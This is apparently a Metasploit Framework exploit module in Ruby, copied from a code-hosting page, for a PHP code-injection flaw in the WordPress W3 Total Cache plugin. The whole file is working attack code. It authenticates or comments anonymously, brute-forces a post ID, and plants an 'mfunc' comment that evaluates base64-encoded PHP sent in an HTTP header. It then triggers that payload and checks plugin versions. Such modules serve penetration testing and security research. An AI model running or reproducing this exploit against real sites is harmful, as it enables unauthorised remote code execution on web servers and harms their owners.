249 lines
No EOL
7.8 KiB
Ruby
Executable file
249 lines
No EOL
7.8 KiB
Ruby
Executable file
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a PHP Code Injection vulnerability against Wordpress plugin
|
|
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
|
|
is also reported as vulnerable. The vulnerability is due to the handling of certain
|
|
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
|
|
needed in order to add the malicious comment. If the POSTID option isn't specified,
|
|
then the module will automatically bruteforce one. Also, if anonymous comments
|
|
aren't allowed, then a valid username and password must be provided. In addition,
|
|
the "A comment is held for moderation" option on Wordpress must be unchecked for
|
|
successful exploitation. This module has been tested against Wordpress 3.5 and
|
|
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability discovery
|
|
'juan vazquez', # Metasploit module
|
|
'hdm', # Metasploit module
|
|
'Christian Mehlmauer' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '92652' ],
|
|
[ 'BID', '59316' ],
|
|
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
|
|
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' => [ ['Wordpress 3.5', {}] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 17 2013'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
|
|
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
|
|
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
|
|
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
|
|
], self.class)
|
|
end
|
|
|
|
def peer
|
|
return "#{rhost}:#{rport}"
|
|
end
|
|
|
|
def require_auth?
|
|
@user = datastore['USERNAME']
|
|
@password = datastore['PASSWORD']
|
|
|
|
if @user and @password and not @user.empty? and not @password.empty?
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def get_session_cookie(header)
|
|
header.split(";").each { |cookie|
|
|
cookie.split(" ").each { |word|
|
|
if word =~ /(.*logged_in.*)=(.*)/
|
|
return $1, $2
|
|
end
|
|
}
|
|
}
|
|
return nil, nil
|
|
end
|
|
|
|
def login
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path, "wp-login.php"),
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'log' => @user,
|
|
'pwd' => @password
|
|
}
|
|
})
|
|
|
|
if res and res.code == 302 and res.headers['Set-Cookie']
|
|
return get_session_cookie(res.headers['Set-Cookie'])
|
|
else
|
|
return nil, nil
|
|
end
|
|
|
|
end
|
|
|
|
def check_post_id(uri)
|
|
options = {
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
}
|
|
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
|
|
res = send_request_cgi(options)
|
|
if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
|
|
return true
|
|
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
|
location = URI(res.headers["Location"])
|
|
uri = location.path
|
|
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
|
|
return check_post_id(uri)
|
|
end
|
|
return false
|
|
end
|
|
|
|
def find_post_id
|
|
(1..1000).each{|id|
|
|
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
|
|
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
|
|
return id if res
|
|
}
|
|
return nil
|
|
end
|
|
|
|
def post_comment
|
|
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
|
|
|
|
vars_post = {
|
|
'comment' => php_payload,
|
|
'submit' => 'Post+Comment',
|
|
'comment_post_ID' => "#{@post_id}",
|
|
'comment_parent' => "0"
|
|
}
|
|
vars_post.merge!({
|
|
'author' => rand_text_alpha(8),
|
|
'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
|
|
'url' => rand_text_alpha(8),
|
|
}) unless @auth
|
|
|
|
options = {
|
|
'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
|
|
'method' => 'POST'
|
|
}
|
|
options.merge!({'vars_post' => vars_post})
|
|
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
|
|
|
|
res = send_request_cgi(options)
|
|
if res and res.code == 302
|
|
location = URI(res.headers["Location"])
|
|
uri = location.path
|
|
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
|
|
return uri
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
|
|
@auth = require_auth?
|
|
|
|
if @auth
|
|
print_status("#{peer} - Trying to login...")
|
|
@cookie_name, @cookie_value = login
|
|
if @cookie_name.nil? or @cookie_value.nil?
|
|
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
|
|
end
|
|
else
|
|
print_status("#{peer} - Trying unauthenticated exploitation...")
|
|
end
|
|
|
|
if datastore['POSTID'] and datastore['POSTID'] != 0
|
|
@post_id = datastore['POSTID']
|
|
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
|
|
else
|
|
print_status("#{peer} - Trying to brute force a valid POST ID...")
|
|
@post_id = find_post_id
|
|
if @post_id.nil?
|
|
fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
|
|
else
|
|
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
|
|
end
|
|
end
|
|
|
|
random_test = rand_text_alpha(64)
|
|
@sum = Rex::Text.sha1(random_test)
|
|
|
|
print_status("#{peer} - Injecting the PHP Code in a comment...")
|
|
post_uri = post_comment
|
|
if post_uri.nil?
|
|
fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
|
|
end
|
|
|
|
print_status("#{peer} - Executing the payload...")
|
|
options = {
|
|
'method' => 'GET',
|
|
'uri' => post_uri,
|
|
'headers' => {
|
|
'Cmd' => Rex::Text.encode_base64(payload.encoded),
|
|
'Sum' => random_test
|
|
}
|
|
}
|
|
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
|
|
res = send_request_cgi(options)
|
|
if res and res.code == 301
|
|
fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
|
|
end
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi ({
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if res.nil?
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
|
|
version = $1
|
|
if version <= "0.9.2.8"
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
end |